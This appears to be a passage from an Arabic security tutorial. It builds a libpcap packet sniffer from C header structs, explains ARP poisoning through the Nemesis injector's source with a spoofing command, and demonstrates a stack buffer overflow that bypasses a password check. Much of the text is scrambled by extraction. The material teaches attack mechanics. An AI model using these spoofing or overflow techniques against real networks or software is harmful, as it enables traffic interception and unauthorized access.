سنبدأ بال .Ethernet Header
Ethernet Header
يف نظام التشغيل Linuxتم تعريف ال structureاخلاص بال Ethernet Headerعرب ذذا املسار:
/user/include/linux/if_ether.h
سأعرض لك screenshotمن جهازي ،وذي توضح جزء من ذذا امللف:
MAC من أجل ال6 bytes " تعني أن ُه تَم ختصيصEthernet Address Length" ذي اطتصار لDefine أول
:ذاذو
#define ETH_ALEN 6 /* Octets in one ethernet addr */
#define ETH_HLEN 14 /* Total octets in header */
/*
* This is an Ethernet frame header.
*/
struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */
unsigned char h_source[ETH_ALEN]; /* Source ether addr */
__be16 h_proto; /* Packet type ID field */
} __attribute__((packed));
أمARP ما لذا كانتpacket عندما كُنا بحاجة َملعرقة نوع ال، يف الباب الثاينARP حتدثنا عنه يف ققرة بروتوكول ال
مع تَغيري بعض التسميات غري، اخلاص بنا بنا ًء عىل ذذه املعلومات الق ِّيمةstructure َسنقوم بعمل ال. عاديةdata
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC
unsigned short ether_type; // Type of Ethernet packet
};
IP Header
.Options field بدون ال20 bytes َيب ُلغ طولهIP Header الحظ أن ال
.. ذاتهinclude file أيض ًا و َض ّمه لىل الHeader سنقوم بإنشاء ذذا ال
“Network.h”:الذي أسميناه
struct ip_hdr {
unsigned char ip_version_and_header_length; // Ver and hdr len
unsigned char ip_tos; // Type of service
unsigned short ip_len; // Total length
unsigned short ip_id; // Identification number
unsigned short ip_frag_offset; // Fragment offset and flags
unsigned char ip_ttl; // Time to live
unsigned char ip_type; // Protocol type
unsigned short ip_checksum; // Checksum
unsigned int ip_src_addr; // Source IP address
unsigned int ip_dest_addr; // Destination IP address
};
TCP Header
.options field بدون ال، 20 bytes يبلغ طولهHeader أيض ًا ذذا ال
/*
* TCP header.
struct tcphdr
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgment number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
يقومSniffer “ من أجل تكوينNetwork.h” وامللف الذي أنشأناه،"libpcap library" سنقوم ُذنا باالستعانة بال
َبدء ًاlayer لكُلdecode مع عملpacket املار عربكارت الشبكة و عرض تفاصيل كلtraffic للcapture بعمل
.Transport Layer وانتها ًء بالData-Link Layer بال
function الحظ أننا سوف نستبدل ال.سنطرح ذذا الكود عىل ثالثة أجزاء كي ن َُس ِّهل عىل أن ُفسنا عملية اإلستيعاب
كانت وظيفتها.. ذل نسيت وظيفتها؟..pcap_next( ) السابق والتي كانت بإسمsniffer التي استخدمناذا يف ال
. التاليةpacket تتمثل يف َجلب ال
. وتُعد أكثر قاعلية منها،pcap_loop( ) ذي، أطرى أقضل منهاfunction سنستخدم لذلك
: اخلاص ِباprototype ماييل ال
.. من وجهة نظر أنظمة التشغيل لتفهمه جيد ًاHandle دعني ُأعطيك تعريف ال
: كام ييلHandles الMichael Sikorski ُيعرف لنا السيد
Handles are items that have been opened or created in the OS, such as a window, process,
module, menu, file, and so on. Handles are like pointers in that they refer to an object or memory
location somewhere else. However, unlike pointers, handles cannot be used in arithmetic
operations, and they do not always represent the object’s address.
The only thing you can do with a handle is store it and use it in a later function call to refer to
the same object.
..!ذذا جيد
؟..pcap_loop( ) ُذنا يف ذذه الhandle كيف سنستخدم قكرة ذذا ال
حسن ًا ..سيكون ذذا ال handleك storageلن ََضع قيه ال return valueالقادمة من ال functionاملسؤولة َعن قتح
الش َبكة لدينا يف وضعية ال ُ ،promiscuous modeثم نَستخدم ُه الحق ًا ك Argumentل ُ functionأطرى..
كارت َ
ذي ال ) ( .pcap_loopذذا بالضبط ما ُيشري لليه اجلزء ال Boldمن تعريف ال handleقوق .أليس كذلك؟.
عرب عن عدد ال packetsالتي سنلتقطها ،والتي وضعناذا يف املثال
وبالنسبة لل Argumentالثانية ،قهو رقم ُ intي ِّ
السابق ب ( ،)3الحظ أنه لو تم وضعها ب " "-1قنعني بذلك loopلىل أن يتم غلق ال .Sniffer
.. كانت ذذه ُمقدِّ مة طفيفة لتهيئتك الستقبال ذذا الكود الغني با ُملفاجئات
ُ سنقوم بتقسيم الكود عىل ثالثة أجزاء كام َذك
.َرت لك يف البداية
ما ييل أول جزء من ُه
#include <pcap.h>
#include "error.h"
#include "network.h"
void pcap_fatal(const char *, const char *);
void decode_ethernet(const u_char *);
void decode_ip(const u_char *);
u_int decode_tcp(const u_char *);
device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);
pcap_close(pcap_handle);
}
.. ،function prototypes يظهر يف البداية بعض ال
ذذا ذو شكله:
{ struct pcap_pkthdr
َسنستخدم ال pointerاألول يف عملية الت ََح ُّرك داطل ال memory blockاخلاصة بال .Headersذل تتذكر درس ال
pointersيف الباب األول؟
لقد حتدثنا عن ذذا األمر بمثال ”!. “Hello world
وال pointerالثاين سنستخدمه ك Argumentلل ) ( Dumpل ُيعرب لنا عن ال row bytesا ُمللتقطة .ثم نلتقي بضيفنا
العزيز ال Handleالذي تكلمنا عنه منذ قليل " ،"Pcap_handleالبد وأنك تعي وظيفت ُه جيد ًا .ثم نقوم بتجهيز ال
deviceلعملية ال sniffباستخدام ال ) ( ،lookup_devلتبدأ بعدذا عملية ال Loopingالستقبال ال packets
كام تُالحظ أن ال ) ( pcap_loopستقوم بعمل callلل ) ( ،caught_packetذذه األطرية سيتم استدعاؤذا مع كل
packetتقوم ال pcap_loopبالتقاطها.
decode_ethernet(packet);
decode_ip(packet + ETHER_HDR_LEN);
tcp_header_length =
decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr));
total_header_size =
ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length;
يظهر لنا يف بداية الكود ال ) (َ ،caught_packetيتب ُعها جمموعة من ال ،Integer variablesيبدو أهنم Local
سنستخدم ال ) ( printfذنا لتطبع لنا عىل الشاشة ،Length of packetالحظ أن ذذا ال ُ lengthيم ِّثل حجم ال
.data + Headersلذا نسيت داللة ذذه اإلشارة "> "-يمكنك مراجعة درس ال Structsيف الباب األول.
تأطذ Argumentعباره عن Pointerلتَقف به عىل موضع ال Ethernet Headerداطل ال Packetا ُمللتَ َق َطة.
قهي ُ
لتقوم بعمل ال Decodingهلذا ال ( .Headerسنُشاذد ذذا ال Headerبالتفصيل يف اجلزء الثالث من الكود) .ولكن
دعني أوضح لك كيف تتم عملية اإلنتقال بال Pointerاملُسمى packetأيض ًا! ،داطل ال Packetا ُملل َت َق َطة كام َقهم ُت ُه
أنا!..
سأذذب لىل برنامج ال paintوأعود لليك بعد قليل..
..!ُعدنا
ذاذي مر ًة. يف بدايتهاPointer قتضع الPacket حتتاج ألن تقف يف بداية الdecode_ethernet( ) كام ترى أن ال
:أطرى
decode_ethernet(packet);
األسطر التالية،Dump( ) بمفردذا كي يتسنى لنا طباعتها باستخدام الLength of data واآلن نريد معرقة ال
:ستوضح لنا ذذه العملية
total_header_size =
ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length;
..Caught_packet( ) الذي تم تعريفه داطل الLocal Variable ووضعه يفHeader يتم حساب احلجم الكيل لل
َ ُثم ن
. الكُيلpacket َطرح ُه من حجم ال
وبالطبع سيكون، ا ُمللت َق َطةpacket بداطل الdata ل ُيشري لىل بداية الpkt_data ا ُملسمىpointer نقوم ُذنا بتجهيز ال
. التعا ُمل معهDump( ) كي تستطيع الunsigned char من نوع
if(pkt_data_len > 0) {
printf("\t\t\t%u bytes of packet data\n", pkt_data_len);
dump(pkt_data, pkt_data_len);
} else
printf("\t\t\tNo Packet Data\n");
.Sniffer لىل ذنا نكون انتهينا من توضيح اجلزء الثاين من ذذا ال
printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("\tType: %hu ]\n", ethernet_header->ether_type);
}
return header_size;
}
ُ
Ethernet حيث الpacket ُيشري لىل بداية الpointer وذو،Argument كPacket الfunction تأطذ ذذه ال
..لنُكمل الكود
داطل الEthernet header التي بداطله بالبيانات املوجودة يف الelements ذذا بأن يمأل الobject سنُخرب ُذنا ال
. التي تم التقاطهاpacket
byte تبدأ بأولloop عن طريق عملMAC تتم كتابة ال،struct الذي ُي َع ِّرب عنه داطل الelement ققد أرشنا لىل ال
."Destination MAC Address" نُكرر نفس األمر ُذنا أيض ًا لنقوم بطباعة ال
.Struct األطري داطل الelement " وذو الType of packet" ثم آطر سطر سيقوم بطباعة
ً سنتكلم قلي
..field ال عن ذذا ال
وطصوص ًا ال
ُ ،MAC Header نُريد الرتكيز عىل ال،Data-Link Layer يف الFrame الشكل التايل يوضح ال
Ether Type
وذكذا..
لنُشري لىل ال Elementاخلاص بنوع ال IPاملوجود داطل ال ُ ،IP Header Structureثم يف استخدمنا الرمز )>(-
السطر الثاين نطبع ال ،IDيف احلقيقة ُيستخدَ م ذذا ال fieldيف حالة َرغبتنا إلرسال Packetكبرية ،قيتم تقطيعها لقطع
packetsصغرية ولرساهلم ،قنستخدم ذذا ال fieldمع َ field
آطر وذو ال .fragmentation
ُربام َظ َه َر يف نتائج الكود للتأكُد ما لذا كان ُذناك عالقة بني ال packetsا ُمللتقطه ببعضها .الحظ أننا استخدمنا يف
السطر الثاين والثالث ال functionالتي ُحت ِّول َلنا من ال network byte orderلىل ال .Host byte order
ُ
ستأطذ ،Argument ذذا السطر يعني أن ُه سيحدُ ث Callل functionذي ال ) (،decode_tcp
(ذي ذذا اليشء الطويل الذي بني القوسني)! ،لتقوم بحساب وتفكيك ال ،TCP Headerويف النهاية َس ُرتجع َلنا
قيمة ” “return valueوذي ال ُ .header_sizeثم تسري َبقية األُمور عىل ما ُيرام ،باستثناء يشء بسيط ُأحب َأن
ُأوضح ُه لك:
ذذه ال 4 bytesذي الرشحية ال َعرضية لل ،TCP Headerقكام نعلم أن ال Headerيتكون من عدة رشائح ،يب ُلغ
عرض كل رشحية .4 bytes
ذذا بكُل بساطة ما.. Header ذذا حيوي عدد الرشائح ال َعرضيه التي َجرى استخدا ُمها يف ذذا الoffset field وال
.تعنيه ذذه ا ُملعادلة
:TCP Header اخلاصة بالRFC من الfield وذذا تعريف هلذا ال
Data Offset: 4 bits
The number of 32 bit words in the TCP Header. This indicates where the
data begins. The TCP header (even one including options) is an integral number
of 32 bits long.
."TCP Header Length" حتديد الfield وبالتايل يتم ِبذا ال
.. واآلن جا َء دور التجربة، Sniffer نكون ِبذا قد وصلنا لىل هناية رشح ذذا ال
استعد الستقبال ذذه اللحظة التارخيية
The conclusion
الحظنا يف املثال السابق كيف تم عمل Decodeللطبقات وعرض ال Headersاخلاصة بكل طبقة ثم ال Data
املوجودة داطل ال packetا ُمللتقطة .أي أننا كنا نستقبل ال dataمن أسفل ) (Data-Link Layerألعىل
) ،(Application Layerكُنا يف الكود نحسب طول ال Headerاخلاص بكل طبقة ُثم ُن َس ِّلم ال packetلىل الطبقة
التي تعلوذا ،نقوم ِبذا العمل أثناء عملية ال ” .“Decapsulationنستمر حتى تتبقى لنا ال Dataالفعلية بعد طرح ال
Lengthاخلاص بجميع ال Headersقنتمكن من عرض حمتويات ال Headersو ال Dataعىل الشاشة.
ذذا الشكل يوضح لك ذذا األمر:
The transport layer puts its header in the beginning and sends this complete packet
(TCP-header + app-data) to the IP layer.
On the same lines, The IP layer puts its header in front of the data received from TCP
So now the structure of IP datagram becomes (IP-header + TCP-header + app-data).
This IP datagram is passed to the ethernet layer which on the same lines adds its own header
to IP datagram and then the whole packet is transmitted over network.
On the destination host, the reverse process happens. This means that each layer reads its own
header in the packet and then strips the header so that finally application receives the app-data.
يتبقى لنا بعض األمور التي نُريد نود احلديث،Packet Capturing أنت اآلن تفهم العديد من التفاصيل ا ُملتعلقة بال
َ
قهذاSwitch عىل أحد األجهزة ا ُملتصلة بTCPDump أو الWireShark عندما نقوم باستخدام برنامج كال.عنها
لكن لن نتمكن من مراقبة ما تفعل ُه بقية. القادم للينا أو الصادر من عندناtraffic نتمكن من ُمرا َق َبة ال
َ يعني أننا َس
.!! Broadcast Domain األجهزة التي َمعنا يف نفس ال
ُخيربنا ذذا الشكل أن ال Snifferذذا سيتمكن من التقاط ال trafficاملار عرب ال Portا ُملخصص له ققط! وبام أن ال
Switchيمتلك CAM Tableقلن ُيرسل عرب ذذا ال portلال ال Trafficا ُمل َوجه لاىل ال Snifferققط ،وبالتايل لن
يتمكن من ُمراقبة َمن حول ُه يف الشبكة.
َ
الزال بإمكاننا ُمراقبة ذؤالء باستخدام طرق أطرى ..منها: لكن
أن متتلك Accessعىل ذذا ال Switchقتقوم بتفعيل طاصية ال Port Mirroringبه ليقوم بإرسال نُسخة من ال
network trafficلىل ال portالذي ُحتدده أنت ُثم تَربط جهازك به.
والطريقة الثانية تكون عن طريق َع َمل " ."ARP Spoofingويتم ذلك عن طريق لرسال أحدذم ARP Replyلىل
األجهزة التي ُيريد رؤية ال trafficاخلاص ِبم.
يؤدي ذلك لىل حدوث overwrittenلل ARP Cacheاخلاصة ِبم بالبيانات اجلديدة اخلاصة بال .Attackerوذذا ما
ُيط َلق عليه بال .ARP Poisoning
كام ترى ققد قا َم ال Attackerبعمل overwrittenلل ARP Cacheاخلاصة باليوزر ( Bobليكُون ال IPاخلاص ب
ُ Aliceيقابله ال MACاخلاص بال ،)Attackerوأيض ًا قام بإرسال نفس ال ARP Replyلليوزر Aliceليتم تغيري ال
ARP Cacheلدهيا( ،قأصبح ال IPاخلاص ب Bobيقابله ال MACاخلاص بال .!)Attacker
ولكن ذذه ال ARP Cacheهلا ُ timeoutحمدد لإلحتفاظ ِبذه البيانات لدهيا ،أليس كذلك؟
..تقريب ًا ذذا ال timeoutتكون مدت ُه ،30 Secondsولكي نُحاقظ عىل عملية ال Redirectionذذه قسنقوم بإرسال
" "Spoofed ARP Repliesكل 10 Secondsمثالً.
ولكن يف مثالنا ذذا لن نستفيد كثري ًا من لظهار ال trafficاملار بني Bobو ،Aliceسيكون من األقضل لنا ُمتابعة ال
trafficبني أحد ال usersوبني ال Gatewayكي نَعرف أنشطة ذذا ال userعىل االنرتنت .نستخدم لذلك أداة ال
Ettercapوذي أداة مشهورة تعمل عىل أنظمة اللينكس وال .MAC
أيض ًا أداة ال Nemesisتقوم بعمل " "craft and enject packetsداطل الشبكة.
وكالذم يعتمد عىل جمموعة من ال Librariesأشهرذا ال Libnet.cو ال ( ،Libpcap.cسنأيت هلُم بعد قليل) .لن
أردت جتربة ال Ettercapستجد يف Googleالعديد من الرشوحات وملفات الفيديو باللغة العربية ترشح لك طريقة
استخدامها..
ُ
وحيث أن ذدقنا قهم قلسفة ال ،ARP Poisoningقسنبدأ بفتح ملفات ال Sourceاخلاصة بأحد ذذه األدوات
وحتليل آلية عملها!.
: ونَعرض لك بعض ُحمتوياته، املوجود بالشكلnemesis-arp.c سنقوم بفتح امللف،ARP Poison بام أننا ُمهتمني بال
/*
* $Id: nemesis-arp.c,v 1.1.1.1 2003/10/31 21:29:36 jnathan Exp $
*
* THE NEMESIS PROJECT
* Copyright (C) 1999, 2000, 2001 Mark Grimes <mark@stateful.net>
* Copyright (C) 2001 - 2003 Jeff Nathan <jeff@snort.org>
*
* nemesis-arp.c (ARP/RARP Packet Injector)
*
*/
#include "nemesis-arp.h"
#include "nemesis.h"
#if defined(WIN32)
#include <pcap.h>
#endif
static ETHERhdr etherhdr;
static ARPhdr arphdr;
... (omitted)
arp_initdata();
arp_cmdline(argc, argv);
arp_validatedata();
arp_verbose();
if (got_payload)
{
تم تعريفهم يف بداية،packet header طاصة ببيانات الdata structures جمموعة من الfunction تَستخدم ذذه ال
. سنأيت هلُم بعد قليل،function ال
avtmp = argv;
avval = strrchr(*avtmp, '/');
if (avval++ == NULL)
avval = *avtmp;
arp_validatedata();
arp_verbose();
.reporting والرابعة طاصة بال، والثالثة للتأكُد من صحة البيانات ا ُملستَخدَ مة،arguments
header structures اخلاصة بالelements لرتى الarp_initdata( ) سأعرض لك حمتويات ال
static void arp_initdata(void)
{
/* defaults */
etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */
memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */
memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet dest. address */
arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */
arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */
arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */
arphdr.ar_hln = 6; /* 6 byte hardware addresses */
arphdr.ar_pln = 4; /* 4 byte protocol addresses */
memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */
memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */
memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */
memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */
pd.file_mem = NULL;
pd.file_s = 0;
return;
}
: لت ََضح لنا األمورfunction التي َستَستَقبلها ذذه الArguments َسنُشاذد مع ًا شكل ال.. ،واآلن
سيتولد نتيج ًة، يف الشبكةGateway اخلاص به وأيض ًا للtraffic للجهاز ا ُملراد حتويل الping َبعدَ أن نقوم َبعمل
. أيض ًاMAC اخلاصة ِبم مع الIP Addresses لدينا ِبا الarp cache يف الentry لذلك
reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
Running Nemesis
reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S
192.168.0.1 –D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30
-H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30
اخلاصة ِبا لتفهمman page سأعرض لك جزء من ال،command يف ذذا الoptions لقد ُقمنا باستخدام بعض ال
.دالالهتم
reader@hacking:~/booksrc $ nemesis arp help
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4(Build
26)
ARP/RARP Usage:
arp [-v (verbose)] [options]
ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>
لقد َع َرقنا كيف تعمل ذذه األداة ،ذيا لنَعود لىل ال functionاخلاصة بال ARP Poisonوذي ) (Nemesis_arp
لنستكمل دورذا.
بعد عمل callلألربعة functionsالتي أوضحناذا سابق ًا ،يتم يف النهاية استدعاء ال ) ( buildarpوالتي ستقوم
بتكوين ال ARP Packetوعمل َ injectهلا .توجد يف ملف ُمستقل كام ترى يف الشكل“nemesis-proto_arp.c” :
/* validation tests */
if (pd->file_mem == NULL)
pd->file_s = 0;
#ifdef DEBUG
printf("DEBUG: ARP packet length %u.\n", arp_packetlen);
printf("DEBUG: ARP payload size %u.\n", pd->file_s);
#endif
if (verbose == 2)
nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);
if (verbose == 3)
nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);
if (n != arp_packetlen)
{
fprintf(stderr, "ERROR: Incomplete packet injection. Only "
"wrote %d bytes.\n", n);
}
else
{
if (verbose)
{
if (memcmp(eth->ether_dhost, (void *)&one, 6))
{
printf("Wrote %d byte unicast ARP request packet through "
"linktype %s.\n", n,
nemesis_lookup_linktype(l2->linktype));
}
else
{
printf("Wrote %d byte %s packet through linktype %s.\n",
n,(eth->ether_type == ETHERTYPE_ARP ? "ARP" :
"RARP"), nemesis_lookup_linktype(l2->linktype));
}
}
}
libnet_destroy_packet(&pkt);
if (l2 != NULL)
libnet_close_link_interface(l2);
return (n);
}
َقمن ا ُملتوقع أهنا تأطذ ال، هلا عرب كارت الشبكةinject وعملpacket ستقوم بتكوين الfunction وبام أن ذذه ال
: التاليةArguments
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char
*device, int reply)
Nemesis.h " من الARP Header Structure" " وأيض ًا الEthernet Header Structure" ستحتاج الستخدام ال
.Lib
: التي تقوم بدور حموري يف ذذا الكودfunctions سنقوم بتسليط الضوء عىل جمموعة من ال
1- libnet_open_link_interface()
2- libnet_init_packet()
3- libnet_build_ethernet()
4- libnet_build_arp()
5- libnet_write_link_layer()
ُ قهي.Layer
. من قبلsniffer الذي تكلمنا عنه يف الerror buffer والinterface device للArguments تأطذ
، ا ُملراد استخدامهاpacket للmemory allocation بأهنا تقوم بعملfunction تتلخص وظيفة ذذه ال
ّ ..ا ُملهم
ٍ
. ؟؟malloc( ) ذل تتذكر ذذه ال..malloc( ) بشكل ما لل call وبالتايل سنكون بحاجة لعمل
.memory للDestroy لعملFree( ) حتتاج بعد انتهاء املطلوب أن نستخدم الallocation كام تعلم أن عملية ال
. جتدذا يف آطر الكودlibnet_destroy_packet( ) لهنا، لذلكfunction َق َس َيجري استخدام
:( والثالثه3)
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,
eth->ether_type NULL, 0, pkt);
.ethernet struct اخلاصة بالElements قهي تستخدم ال،Ethernet Packet تقوم ذذه بتكوين ال
"ARP, or IP" ..ether packet َقيَدُ ل عىل نوع الether_type أما ذذا ال
:( ثم الرابعة4)
libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,
arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,
arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,
pkt + LIBNET_ETH_H);
.ARP Packet ولكنها ستقوم بتكوين ال..ذذه تشبه الثالثة
Buffer Overflow
لهنا تستغل نقاط الضعف لدى الربامج يف تعاملها مع ال، من ال ُط ُرق الشهرية يف االطرتاقBuffer Overflow ال
“ ليقومthe execution flow” ويكون اهلدف من ذذا النوع من الثغرات ذو الت ََحكُم يف َسري الربنامج،memory
.memory مكان ما داطل ال ٍ ن ََضع ُه يفmalicious code أوinstructions بتنفيذ
.“Execution of arbitrary code” نُطلق عىل ذذا النوع من ا ُملامرسات بال
ق ُقمنا،6 bytes يستوعبbuffer وكان ذذا ال،inputs ل َيستقبل مناbuffer ال لذا قام أحد ا ُملربجمني بتخصيص
ً قمث
.buffer هلذا الOverflow قسوف حيدُ ث،! بدالً من ذلك8 bytes نحن بإدطال
ُ
َ الزائدين عن املساحة ا ُمل َخ2 bytes ألن ال،Buffer Overflow أوBuffer Overrun ُيسمى ذذا اإلجراء بال
صصة
ال..سيتسببان يف ذذه األزمة
.“ احلادثOverflow”
ذذا مثال يوضح حالة من
تم اكتشاقها.BOF حاالت ال
أثناء تفعيل طاصية التصحيح
.Word اإلمالئي يف برنامج ال
“Buffer Overrun Detected error after you installs Office 2003 Service Pack 3 for Hebrew”
The Hebrew version of Microsoft Office Word 2003 Service Pack 3 may stop responding when
you run a spelling and grammar check or when you use a custom dictionary that was created
before Service Pack 3.
You may receive the following error message:
داطل ُمتغري ُُم ّصص10 bytes بسبب ُحماولة وضع، بالفعلOverflow أنه تم حدوثbold نُالحظ يف السطر ال
. ققط8 bytes ليستوعب
َ كامbuffer_one للمتغري
buffer وذذا ألن ال..ظ َه َر لنا ُ overflow الزائدة بعمل2 bytes وبالتايل قامت ذذه ال
.memory للمتغريات األطرى القريبة منها داطل ال
ُ overflow الزائدة عن املألوف تُس ِّبب
: كبرية نسبي ًا ونُشاذد ما حيدُ ثinput ُجرب لدطال
ِّ سن
reader@hacking:~/booksrc $ ./overflow_example
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains
'AAAAAAAAAAAAAAAAAAAAA'
The Stack
..قبل أن نبدأ
:“the shellcoder’s handbook” ماييل بعض األسطر من كتاب،س ُأ َذك ُِّرك ب َبعض املعلومات التي ناقشناذا سابق ًا
"When a program is executed, it is laid out in an organized manner—various elements of the
program are mapped into memory. First, the operating system creates an address space in which
the program will run. This address space includes the actual program instructions as well as any
required data. Next, information is loaded from the program’s executable file to the newly
created address space. There are three types of segments: .text, .bss, and .data. The .text segment
is mapped as read-only, whereas .data and .bss are writable. The .bss and .data segments are
reserved for global variables. The .data segment contains static initialized data, and the .bss
segment contains uninitialized data. The final segment, .text, holds the program instructions.
Finally, the stack and the heap are initialized".
ُ س
.! ذذهFunction Call و عملية الStack نأطذ نُزذة طفيفة داطل ال
Figure 2
عملياهتا.
Figure 3
ُ بتحريكه لىلfoo( ) قبل أن تقو َمStack Pointer كان َيقف عليه ال
حيث ال َ الذيAddress ذذا اليشء ُيشري لىل ال
. اخلاصة ِباLocal Variables
Points to the location where the stack pointer was, just before foo( ) moved the stack pointer
for foo( )'s own local variables.
وملاذا ُيشري لىل ذلك املوضع؟
. من عملهاfoo( ) بالعودة لليه مر ًة أطرى بعد أن تنتهيStack Pointer كي يتمكن ال
Figure 4
3. Push the current EBP ie. Frame Pointer (FP) of calling function into stack. We need to do
this to continue with the execution of calling function after return from the called
function. [[ pushl %ebp ]]
4. Copy the ESP to EBP. (yes, this location will be new FRAME POINTER)
[[ movl %esp, %ebp ]]
5. Allocate space on stack for local variables. It's done by decrementing ESP.
[[ subl $4, %esp ]]
func1:
pushl %ebp <-- Step 3, Push EBP
movl %esp, %ebp <-- Step 4, Copy ESP -> EBP
subl $4, %esp <-- Step 5, Create space on stack for t
movl $8, -4(%ebp) <-- Initialize "t" to 8
movl -4(%ebp), %eax <-- Step 6, Copy "t" to EAX
addl 8(%ebp), %eax <-- Step 6, Add "c" to EAX
leave <-- Step 7 and 8:
7: Restore ESP (EBP -> ESP)
8: Restore EBP (Pop STACK -> EBP)
ret <-- Step 9, (Pop STACK -> Program Counter)
main:
.........
pushl a <-- Step 1, push parameters
call func1 <-- Step 2, call func1
addl $16, %esp
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
movl %eax, c
.........
articles.manugarg.com املثال مقتبس من موقع
Stack Overflow
ُ
.Stack Overflow سنأطذ مثال لنُوضح به ال
عن طريقuser authentication لتقوم َب َع َمل الmain( ) َيتم استدعاؤذا من الFunction ما ييل كود عبارة عن
ٍ
. ُثم َعرض النتائج،بقيمة ما ُ لتقوم ذ َي،كتابتك لكَل َمة املُرور
بمقارنَتها
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
.Granted”
:ذيا لنُجرب ذذا الكود..
reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow
Usage: ./auth_overflow <password>
reader@hacking:~/booksrc $ ./auth_overflow test
Access Denied.
reader@hacking:~/booksrc $ ./auth_overflow brillig
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $
.!Access Denied َظ َه َرت لنا رسالةtest كَام تُالحظ عند لدطالنا كَل َمة ُمرور
حلصول عىل ال
ُ خللل يف َسري الربنامج ُما َيتس ّبب يف ا
َ أكرب م َن الالزم َسنُالحظ ُحدوث اinput ولكن عندَ ُحماولة لدطال
.! بدون احلاجة لكتابة كَل َمة املرورAccess
reader@hacking:~/booksrc $ ./auth_overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $
.!Password لقد متكنا من الدطول بدون ال
َ ت
ونقوم بوضع،Debugger َسنقوم بتشغيل الربنامج باستخدام ال..َعال نُشاذد ما حدث بشكل تفصييل
.check_authenticaion( ) اخلاص بالreturn value وآطر عند ال،buffer عند َعملية نَسخ الBreakpoint
reader@hacking:~/booksrc $ gdb -q ./auth_overflow
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 int auth_flag = 0;
7 char password_buffer[16];
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
